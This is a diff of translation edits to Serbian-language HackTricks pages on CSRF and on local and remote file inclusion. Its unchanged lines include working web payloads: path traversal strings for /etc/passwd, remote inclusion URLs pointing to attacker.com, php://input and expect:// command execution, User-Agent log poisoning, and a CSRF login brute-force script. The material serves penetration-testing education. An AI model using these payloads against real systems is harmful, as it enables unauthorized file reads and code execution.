@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
|
||||
|
||||
|
@ -32,7 +32,7 @@ Stay informed with the newest bug bounties launching and crucial platform update
|
|||
|
||||
## Cross-Site Request Forgery (CSRF) Explained
|
||||
|
||||
**Cross-Site Request Forgery (CSRF)** je vrsta bezbednosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve ka nalogu žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
|
||||
**Cross-Site Request Forgery (CSRF)** je vrsta bezbednosne ranjivosti koja se nalazi u web aplikacijama. Omogućava napadačima da izvrše radnje u ime nesvesnih korisnika iskorišćavanjem njihovih autentifikovanih sesija. Napad se izvršava kada korisnik, koji je prijavljen na platformu žrtve, poseti zlonamernu stranicu. Ova stranica zatim pokreće zahteve na račun žrtve putem metoda kao što su izvršavanje JavaScript-a, slanje obrazaca ili preuzimanje slika.
|
||||
|
||||
### Prerequisites for a CSRF Attack
|
||||
|
||||
|
@ -52,8 +52,8 @@ Možete **uhvatiti zahtev u Burp-u** i proveriti CSRF zaštite, a da biste testi
|
|||
|
||||
Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF napada:
|
||||
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Ova atribut sprečava pregledač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): CORS politika sajta žrtve može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa sajta žrtve. [Saznajte više o CORS zaobilaženju](cors-bypass.md).
|
||||
* [**SameSite cookies**](hacking-with-cookies/#samesite): Ova atribut sprečava pretraživač da šalje kolačiće zajedno sa zahtevima sa drugih sajtova. [Više o SameSite kolačićima](hacking-with-cookies/#samesite).
|
||||
* [**Cross-origin resource sharing**](cors-bypass.md): CORS politika žrtvinske stranice može uticati na izvodljivost napada, posebno ako napad zahteva čitanje odgovora sa žrtvinske stranice. [Saznajte više o CORS zaobilaženju](cors-bypass.md).
|
||||
* **User Verification**: Traženje lozinke korisnika ili rešavanje captcha može potvrditi nameru korisnika.
|
||||
* **Checking Referrer or Origin Headers**: Validacija ovih zaglavlja može pomoći da se osigura da zahtevi dolaze iz pouzdanih izvora. Međutim, pažljivo kreiranje URL-ova može zaobići loše implementirane provere, kao što su:
|
||||
* Korišćenje `http://mal.net?orig=http://example.com` (URL se završava sa pouzdanim URL-om)
|
||||
|
@ -61,7 +61,7 @@ Nekoliko mera zaštite može se implementirati kako bi se zaštitili od CSRF nap
|
|||
* **Modifying Parameter Names**: Promena imena parametara u POST ili GET zahtevima može pomoći u sprečavanju automatizovanih napada.
|
||||
* **CSRF Tokens**: Uključivanje jedinstvenog CSRF tokena u svaku sesiju i zahtev za ovim tokenom u narednim zahtevima može značajno smanjiti rizik od CSRF. Efikasnost tokena može se poboljšati primenom CORS-a.
|
||||
|
||||
Razumevanje i implementacija ovih odbrana je ključno za održavanje bezbednosti i integriteta web aplikacija.
|
||||
Razumevanje i implementacija ovih odbrana su ključni za održavanje bezbednosti i integriteta web aplikacija.
|
||||
|
||||
## Defences Bypass
|
||||
|
||||
|
@ -71,15 +71,15 @@ Možda je obrazac koji želite da zloupotrebite pripremljen da pošalje **POST z
|
|||
|
||||
### Lack of token
|
||||
|
||||
Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će **ukloniti parametar** koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše Cross-Site Request Forgery (CSRF) napad.
|
||||
Aplikacije mogu implementirati mehanizam za **validaciju tokena** kada su prisutni. Međutim, ranjivost nastaje ako se validacija potpuno preskoči kada token nije prisutan. Napadači mogu iskoristiti ovo tako što će **ukloniti parametar** koji nosi token, ne samo njegovu vrednost. Ovo im omogućava da zaobiđu proces validacije i efikasno izvrše napad Cross-Site Request Forgery (CSRF).
|
||||
|
||||
### CSRF token is not tied to the user session
|
||||
|
||||
Aplikacije **koje ne vezuju CSRF tokene za korisničke sesije** predstavljaju značajan **bezbednosni rizik**. Ovi sistemi verifikuju tokene protiv **globalnog bazena** umesto da osiguraju da je svaki token vezan za inicijalnu sesiju.
|
||||
|
||||
Evo kako napadači iskorišćavaju ovo:
|
||||
Evo kako napadači to koriste:
|
||||
|
||||
1. **Authenticate** koristeći svoj nalog.
|
||||
1. **Authenticate** koristeći svoj račun.
|
||||
2. **Obtain a valid CSRF token** iz globalnog bazena.
|
||||
3. **Use this token** u CSRF napadu protiv žrtve.
|
||||
|
||||
|
@ -99,14 +99,14 @@ Ovo takođe može raditi slanjem **\_method parametra unutar POST zahteva** ili
|
|||
|
||||
Ako zahtev dodaje **prilagođeno zaglavlje** sa **tokenom** kao **metod zaštite od CSRF**, onda:
|
||||
|
||||
* Testirajte zahtev bez **prilagođenog tokena i takođe zaglavlja.**
|
||||
* Testirajte zahtev bez **prilagođenog tokena i zaglavlja.**
|
||||
* Testirajte zahtev sa tačno **istom dužinom, ali različitim tokenom**.
|
||||
|
||||
### CSRF token is verified by a cookie
|
||||
|
||||
Aplikacije mogu implementirati zaštitu od CSRF tako što će duplirati token u kolačiću i parametru zahteva ili postavljanjem CSRF kolačića i verifikovanjem da li token poslat u pozadini odgovara kolačiću. Aplikacija validira zahteve proverom da li se token u parametru zahteva poklapa sa vrednošću u kolačiću.
|
||||
|
||||
Međutim, ova metoda je ranjiva na CSRF napade ako sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pregledaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad.
|
||||
Međutim, ova metoda je ranjiva na CSRF napade ako veb sajt ima greške koje omogućavaju napadaču da postavi CSRF kolačić u pretraživaču žrtve, kao što je CRLF ranjivost. Napadač može iskoristiti ovo tako što će učitati obmanjujuću sliku koja postavlja kolačić, nakon čega pokreće CSRF napad.
|
||||
|
||||
Ispod je primer kako bi napad mogao biti strukturiran:
|
||||
```html
|
||||
|
@ -136,7 +136,7 @@ Prema [**ovome**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple\
|
|||
* **`multipart/form-data`**
|
||||
* **`text/plain`**
|
||||
|
||||
Međutim, imajte na umu da se **logika servera može razlikovati** u zavisnosti od korišćenog **Content-Type**, tako da biste trebali isprobati pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
Međutim, imajte na umu da **logika servera može varirati** u zavisnosti od korišćenog **Content-Type**, pa bi trebalo da isprobate pomenute vrednosti i druge poput **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
|
||||
|
||||
Primer (iz [ovde](https://brycec.me/posts/corctf\_2021\_challenges)) slanja JSON podataka kao text/plain:
|
||||
```html
|
||||
|
@ -163,7 +163,7 @@ Kada pokušavate da pošaljete JSON podatke putem POST zahteva, korišćenje `Co
|
|||
|
||||
**Avoid Referrer header**
|
||||
|
||||
Aplikacije mogu validirati 'Referer' zaglavlje samo kada je prisutno. Da biste sprečili pretraživač da pošalje ovo zaglavlje, može se koristiti sledeći HTML meta tag:
|
||||
Aplikacije mogu validirati 'Referer' header samo kada je prisutan. Da biste sprečili pretraživač da pošalje ovaj header, može se koristiti sledeći HTML meta tag:
|
||||
```xml
|
||||
<meta name="referrer" content="never">
|
||||
```
|
||||
|
@ -194,7 +194,7 @@ document.forms[0].submit();
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
### **HEAD метод заобилажење**
|
||||
### **HEAD метод заобилажења**
|
||||
|
||||
Први део [**овог CTF извештаја**](https://github.com/google/google-ctf/tree/master/2023/web-vegsoda/solution) објашњава да је [Изворни код Ока](https://github.com/oakserver/oak/blob/main/router.ts#L281), рутер подешен да **обрађује HEAD захтеве као GET захтеве** без тела одговора - уобичајена заобилазница која није јединствена за Ок. Уместо специфичног обрађивача који се бави HEAD захтевима, они су једноставно **дати GET обрађивачу, али апликација само уклања тело одговора**.
|
||||
|
||||
|
@ -526,7 +526,7 @@ room: username
|
|||
```
|
||||
## CSRF Login Brute Force
|
||||
|
||||
Kod se može koristiti za Brut Force login formu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće IP blokiranje):
|
||||
Kod se može koristiti za Brut Force forme za prijavu koristeći CSRF token (takođe koristi header X-Forwarded-For da pokuša da zaobiđe moguće crnjenje IP adresa):
|
||||
```python
|
||||
import request
|
||||
import re
|
||||
|
@ -584,7 +584,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -605,11 +605,11 @@ Učite i vežbajte GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" da
|
|||
|
||||
<details>
|
||||
|
||||
<summary>Podrška HackTricks</summary>
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podelite trikove za hakovanje slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Učite i vežbajte GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt=""
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -77,7 +77,7 @@ Svi primeri su za Local File Inclusion, ali se mogu primeniti i na Remote File I
|
|||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd
|
||||
```
|
||||
### sekvence prolaza uklonjene ne-rekurzivno
|
||||
### sekvence prolaza uklonjene non-rekurzivno
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -100,9 +100,9 @@ http://example.com/index.php?page=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
|
|||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
|
||||
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
|
||||
```
|
||||
### Iz postojeće fascikle
|
||||
### Iz postojećeg foldera
|
||||
|
||||
Možda back-end proverava putanju fascikle:
|
||||
Možda back-end proverava putanju foldera:
|
||||
```python
|
||||
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
|
||||
```
|
||||
|
@ -121,7 +121,7 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
|
|||
3. **Tumačenje Ishoda:** Odgovor servera ukazuje da li folder postoji:
|
||||
* **Greška / Nema Izlaza:** Folder `private` verovatno ne postoji na navedenoj lokaciji.
|
||||
* **Sadržaj `/etc/passwd`:** Prisutnost foldera `private` je potvrđena.
|
||||
4. **Rekurzivna Istraživanja:** Otkriće foldera može se dodatno istražiti za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
4. **Rekurzivna Istraživanja:** Otkriveni folderi se mogu dodatno istražiti za poddirektorijume ili datoteke koristeći istu tehniku ili tradicionalne metode Lokalnog Uključivanja Datoteka (LFI).
|
||||
|
||||
Za istraživanje direktorijuma na različitim lokacijama u fajl sistemu, prilagodite payload u skladu s tim. Na primer, da proverite da li `/var/www/` sadrži `private` direktorijum (pretpostavljajući da je trenutni direktorijum na dubini od 3), koristite:
|
||||
```bash
|
||||
|
@ -129,13 +129,13 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
|
|||
```
|
||||
### **Tehnika skraćivanja putanje**
|
||||
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena od strane sigurnosne mere, i dalje pokazuje na željenu datoteku.
|
||||
Skraćivanje putanje je metoda koja se koristi za manipulaciju putanjama datoteka u web aplikacijama. Često se koristi za pristup ograničenim datotekama zaobilaženjem određenih sigurnosnih mera koje dodaju dodatne karaktere na kraj putanja datoteka. Cilj je kreirati putanju datoteke koja, kada je izmenjena sigurnosnom merom, i dalje pokazuje na željenu datoteku.
|
||||
|
||||
U PHP-u, različite reprezentacije putanje datoteke mogu se smatrati ekvivalentnim zbog prirode datotečnog sistema. Na primer:
|
||||
|
||||
* `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, i `/etc/passwd/` se svi tretiraju kao ista putanja.
|
||||
* Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (čime se dobija `passwd/`) ne menja ciljanju datoteku.
|
||||
* Slično, ako se `.php` doda putanji datoteke (kao što je `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
* Kada su poslednjih 6 karaktera `passwd`, dodavanje `/` (što ga čini `passwd/`) ne menja ciljanju datoteku.
|
||||
* Slično, ako se `.php` doda putanji datoteke (kao `shellcode.php`), dodavanje `/.` na kraju neće promeniti datoteku koja se pristupa.
|
||||
|
||||
Pruženi primeri pokazuju kako koristiti skraćivanje putanje za pristup `/etc/passwd`, uobičajenom cilju zbog svog osetljivog sadržaja (informacije o korisničkim računima):
|
||||
```
|
||||
|
@ -150,10 +150,10 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
|
|||
U ovim scenarijima, broj potrebnih prelaza može biti oko 2027, ali ovaj broj može varirati u zavisnosti od konfiguracije servera.
|
||||
|
||||
* **Korišćenje tačaka i dodatnih karaktera**: Sekvence prelaza (`../`) u kombinaciji sa dodatnim tačkama i karakterima mogu se koristiti za navigaciju kroz fajl sistem, efikasno ignorirajući dodatne stringove koje server dodaje.
|
||||
* **Određivanje potrebnog broja prelaza**: Kroz pokušaje i greške, može se pronaći precizan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (kao što je `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
|
||||
* **Određivanje potrebnog broja prelaza**: Kroz pokušaje i greške, može se pronaći tačan broj `../` sekvenci potrebnih za navigaciju do root direktorijuma, a zatim do `/etc/passwd`, osiguravajući da su svi dodati stringovi (kao što je `.php`) neutralisani, ali da željeni put (`/etc/passwd`) ostane netaknut.
|
||||
* **Početak sa lažnim direktorijumom**: Uobičajena praksa je da se put započne sa nepostojećim direktorijumom (kao što je `a/`). Ova tehnika se koristi kao mera predostrožnosti ili da bi se ispunili zahtevi logike parsiranja putanje servera.
|
||||
|
||||
Kada se koriste tehnike skraćivanja putanje, ključno je razumeti ponašanje servera prilikom parsiranja putanje i strukturu fajl sistema. Svaki scenario može zahtevati drugačiji pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
|
||||
Kada se koriste tehnike skraćivanja putanje, ključno je razumeti ponašanje servera prilikom parsiranja putanja i strukturu fajl sistema. Svaki scenario može zahtevati različit pristup, a testiranje je često neophodno da bi se pronašla najefikasnija metoda.
|
||||
|
||||
**Ova ranjivost je ispravljena u PHP 5.3.**
|
||||
|
||||
|
@ -167,7 +167,7 @@ http://example.com/index.php?page=PhP://filter
|
|||
```
|
||||
## Remote File Inclusion
|
||||
|
||||
U php-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, i u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
|
||||
U php-u je ovo podrazumevano onemogućeno jer je **`allow_url_include`** **Isključeno.** Mora biti **Uključeno** da bi radilo, a u tom slučaju možete uključiti PHP datoteku sa vašeg servera i dobiti RCE:
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
|
@ -181,7 +181,7 @@ PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKC
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||
U prethodnom kodu, konačni `+.txt` je dodat jer je napadaču bila potrebna string koja se završava sa `.txt`, tako da se string završava sa tim i nakon b64 dekodiranja taj deo će vratiti samo smeće, a pravi PHP kod će biti uključen (i stoga, izvršen).
|
||||
{% endhint %}
|
||||
|
||||
Još jedan primer **koji ne koristi `php://` protokol** bio bi:
|
||||
|
@ -214,7 +214,7 @@ Izgleda da ako imate Path Traversal u Javi i **tražite direktorijum** umesto da
|
|||
|
||||
## Top 25 parametara
|
||||
|
||||
Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
Evo liste od 25 najvažnijih parametara koji bi mogli biti podložni lokalnim ranjivostima uključivanja datoteka (LFI) (iz [linka](https://twitter.com/trbughunters/status/1279768631845494787)):
|
||||
```
|
||||
?cat={payload}
|
||||
?dir={payload}
|
||||
|
@ -246,13 +246,13 @@ Evo liste top 25 parametara koji bi mogli biti podložni lokalnim ranjivostima u
|
|||
|
||||
### php://filter
|
||||
|
||||
PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego što budu pročitani ili napisani. Postoji 5 kategorija filtera:
|
||||
PHP filteri omogućavaju osnovne **operacije modifikacije podataka** pre nego što budu pročitani ili zapisani. Postoji 5 kategorija filtera:
|
||||
|
||||
* [String Filters](https://www.php.net/manual/en/filters.string.php):
|
||||
* `string.rot13`
|
||||
* `string.toupper`
|
||||
* `string.tolower`
|
||||
* `string.strip_tags`: Uklanja oznake iz podataka (sve između "<" i ">" karaktera)
|
||||
* `string.strip_tags`: Uklanja tagove iz podataka (sve između "<" i ">" karaktera)
|
||||
* Imajte na umu da je ovaj filter nestao iz modernih verzija PHP-a
|
||||
* [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
|
||||
* `convert.base64-encode`
|
||||
|
@ -266,7 +266,7 @@ Zloupotrebljavajući `convert.iconv.*` konverzijski filter možete **generisati
|
|||
{% endhint %}
|
||||
|
||||
* [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
|
||||
* `zlib.deflate`: Kompresuje sadržaj (korisno ako se exfiltrira mnogo informacija)
|
||||
* `zlib.deflate`: Kompresuje sadržaj (korisno ako se exfiltrira puno informacija)
|
||||
* `zlib.inflate`: Dekompresuje podatke
|
||||
* [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
|
||||
* `mcrypt.*` : Zastarjelo
|
||||
|
@ -308,7 +308,7 @@ Deo "php://filter" nije osetljiv na velika i mala slova
|
|||
|
||||
### Korišćenje php filtera kao orakla za čitanje proizvoljnih fajlova
|
||||
|
||||
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean ekfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje teksta dovoljno da php izazove izuzetak.
|
||||
[**U ovom postu**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) predložena je tehnika za čitanje lokalnog fajla bez vraćanja izlaza sa servera. Ova tehnika se zasniva na **boolean eksfiltraciji fajla (karakter po karakter) koristeći php filtere** kao orakl. To je zato što se php filteri mogu koristiti za povećanje teksta dovoljno da php izazove izuzetak.
|
||||
|
||||
U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzog pregleda:
|
||||
|
||||
|
@ -317,16 +317,16 @@ U originalnom postu možete pronaći detaljno objašnjenje tehnike, ali evo brzo
|
|||
* Filter **dechunk** će **ukloniti sve ako prvi karakter nije heksadecimalni**, tako da možemo znati da li je prvi karakter heks.
|
||||
* Ovo, u kombinaciji sa prethodnim (i drugim filtrima u zavisnosti od pogođenog slova), omogućiće nam da pogodimo slovo na početku teksta gledajući kada uradimo dovoljno transformacija da ga učinimo neheksadecimalnim karakterom. Jer ako je heks, dechunk ga neće obrisati i početna bomba će izazvati php grešku.
|
||||
* Kodek **convert.iconv.UNICODE.CP930** transformiše svako slovo u sledeće (tako da nakon ovog kodeka: a -> b). Ovo nam omogućava da otkrijemo da li je prvo slovo `a`, na primer, jer ako primenimo 6 ovog kodeka a->b->c->d->e->f->g slovo više nije heksadecimalni karakter, stoga dechunk ga nije obrisao i php greška se izaziva jer se množi sa početnom bombom.
|
||||
* Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je ekfiltrirati druge karaktere kao n, o, p, q, r (i drugi kodeci se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
* Kada je početni karakter broj, potrebno je da se base64 kodira i ekfiltrira prva 2 slova da bi se ekfiltrirao broj.
|
||||
* Konačni problem je videti **kako ekfiltrirati više od početnog slova**. Korišćenjem filtera za redosled memorije kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
|
||||
* I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta smešnih podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do smešnih podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za ekfiltraciju.
|
||||
* Korišćenjem drugih transformacija kao što je **rot13** na početku moguće je eksfiltrirati druge karaktere kao što su n, o, p, q, r (i drugi kodeci se mogu koristiti za pomeranje drugih slova u heks opseg).
|
||||
* Kada je početni karakter broj, potrebno je da se kodira u base64 i eksfiltrira prva 2 slova da bi se otkrio broj.
|
||||
* Konačni problem je videti **kako eksfiltrirati više od početnog slova**. Korišćenjem filtera za promenu reda kao što su **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** moguće je promeniti redosled karaktera i dobiti na prvoj poziciji druga slova teksta.
|
||||
* I kako bismo mogli da dobijemo **dalje podatke**, ideja je da **generišemo 2 bajta smešnih podataka na početku** sa **convert.iconv.UTF16.UTF16**, primenimo **UCS-4LE** da bi se **povezali sa sledeća 2 bajta**, i **obrišemo podatke do smešnih podataka** (ovo će ukloniti prva 2 bajta početnog teksta). Nastavite to da radite dok ne dođete do željenog bita za eksfiltraciju.
|
||||
|
||||
U postu je takođe otkriven alat za automatsko izvođenje ovoga: [php\_filters\_chain\_oracle\_exploit](https://github.com/synacktiv/php\_filter\_chains\_oracle\_exploit).
|
||||
|
||||
### php://fd
|
||||
|
||||
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za ekfiltraciju sadržaja otvorenih fajlova:
|
||||
Ovaj omotač omogućava pristup deskriptorima fajlova koje proces ima otvorene. Potencijalno korisno za eksfiltraciju sadržaja otvorenih fajlova:
|
||||
```php
|
||||
echo file_get_contents("php://fd/3");
|
||||
$myfile = fopen("/etc/passwd", "r");
|
||||
|
@ -372,13 +372,13 @@ http://example.com/index.php?page=expect://ls
|
|||
```
|
||||
### input://
|
||||
|
||||
Definišite svoj payload u POST parametrima:
|
||||
Odredite svoj payload u POST parametrima:
|
||||
```bash
|
||||
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
|
||||
```
|
||||
### phar://
|
||||
|
||||
`.phar` datoteka se može koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje datoteka. PHP kod ispod prikazuje kreiranje `.phar` datoteke:
|
||||
`.phar` datoteka se može koristiti za izvršavanje PHP koda kada web aplikacija koristi funkcije kao što su `include` za učitavanje datoteka. PHP kodni isječak prikazan ispod demonstrira kreiranje `.phar` datoteke:
|
||||
```php
|
||||
<?php
|
||||
$phar = new Phar('test.phar');
|
||||
|
@ -440,7 +440,7 @@ Slično, za izvršavanje proizvoljnih sistemskih komandi, može se koristiti:
|
|||
```
|
||||
Važno je **URL-enkodirati ove payload-e**.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Pridružite se [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serveru da komunicirate sa iskusnim hakerima i lovcima na greške!
|
||||
|
||||
|
@ -461,13 +461,13 @@ Budite informisani o najnovijim nagradama za greške i važnim ažuriranjima pla
|
|||
Ova tehnika je relevantna u slučajevima kada **kontrolišete** **putanju fajla** PHP funkcije koja će **pristupiti fajlu** ali nećete videti sadržaj fajla (kao jednostavan poziv na **`file()`**) ali sadržaj nije prikazan.
|
||||
{% endhint %}
|
||||
|
||||
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **izvrši eksfiltracija sadržaja fajla putem greške orakla**.
|
||||
U [**ovom neverovatnom postu**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) objašnjeno je kako se slepa putanja može zloupotrebiti putem PHP filtera da se **ekstrahuje sadržaj fajla putem greške orakla**.
|
||||
|
||||
Ukratko, tehnika koristi **"UCS-4LE" kodiranje** da bi sadržaj fajla bio toliko **velik** da će **PHP funkcija koja otvara** fajl izazvati **grešku**.
|
||||
|
||||
Zatim, da bi se otkrio prvi karakter, koristi se filter **`dechunk`** zajedno sa drugim kao što su **base64** ili **rot13**, a na kraju se koriste filteri **convert.iconv.UCS-4.UCS-4LE** i **convert.iconv.UTF16.UTF-16BE** da se **postave drugi karakteri na početak i otkriju**.
|
||||
|
||||
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljani read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
**Funkcije koje bi mogle biti ranjive**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (samo ciljati read only sa ovim)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
Za tehničke detalje proverite pomenuti post!
|
||||
|
||||
|
@ -508,12 +508,12 @@ Fuzzing wordlist: [https://github.com/danielmiessler/SecLists/tree/master/Fuzzin
|
|||
|
||||
### Via /proc/\*/fd/\*
|
||||
|
||||
1. Učitajte puno shell-ova (na primer: 100)
|
||||
1. Učitajte mnogo shell-ova (na primer: 100)
|
||||
2. Uključite [http://example.com/index.php?page=/proc/$PID/fd/$FD](http://example.com/index.php?page=/proc/$PID/fd/$FD), sa $PID = PID procesa (može se brute force-ovati) i $FD datoteka deskriptora (takođe može da se brute force-uje)
|
||||
|
||||
### Via /proc/self/environ
|
||||
|
||||
Kao log fajl, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ fajla
|
||||
Kao log datoteka, pošaljite payload u User-Agent, biće reflektovan unutar /proc/self/environ datoteke
|
||||
```
|
||||
GET vulnerable.php?filename=../../../proc/self/environ HTTP/1.1
|
||||
User-Agent: <?=phpinfo(); ?>
|
||||
|
